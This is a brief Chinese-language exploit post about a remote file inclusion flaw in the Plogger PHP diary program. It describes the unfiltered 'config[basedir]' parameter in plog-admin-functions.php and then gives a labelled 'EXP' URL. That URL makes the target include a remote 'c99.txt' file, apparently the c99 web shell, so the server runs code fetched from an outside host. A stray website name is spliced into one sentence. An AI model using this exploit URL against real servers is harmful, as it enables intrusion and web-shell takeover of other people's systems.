Plogger是一款基于PHP的网络日记程序。
程序未过滤用户提交的URI数据，可以利用漏洞以WEB权限执行任意命令。涛涛电脑知识网
漏洞在'plog-admin-functions.php'脚本对用户提交的'config[basedir]'参数没有过滤，
指定远程服务器上的任意PHP文件作为包含对象，可以以WEB权限执行任意PHP代码
EXP：
/Plogger/PATH/admin/plog-admin-functions.php?config[basedir]=http://www.2cto.com /c99.txt?
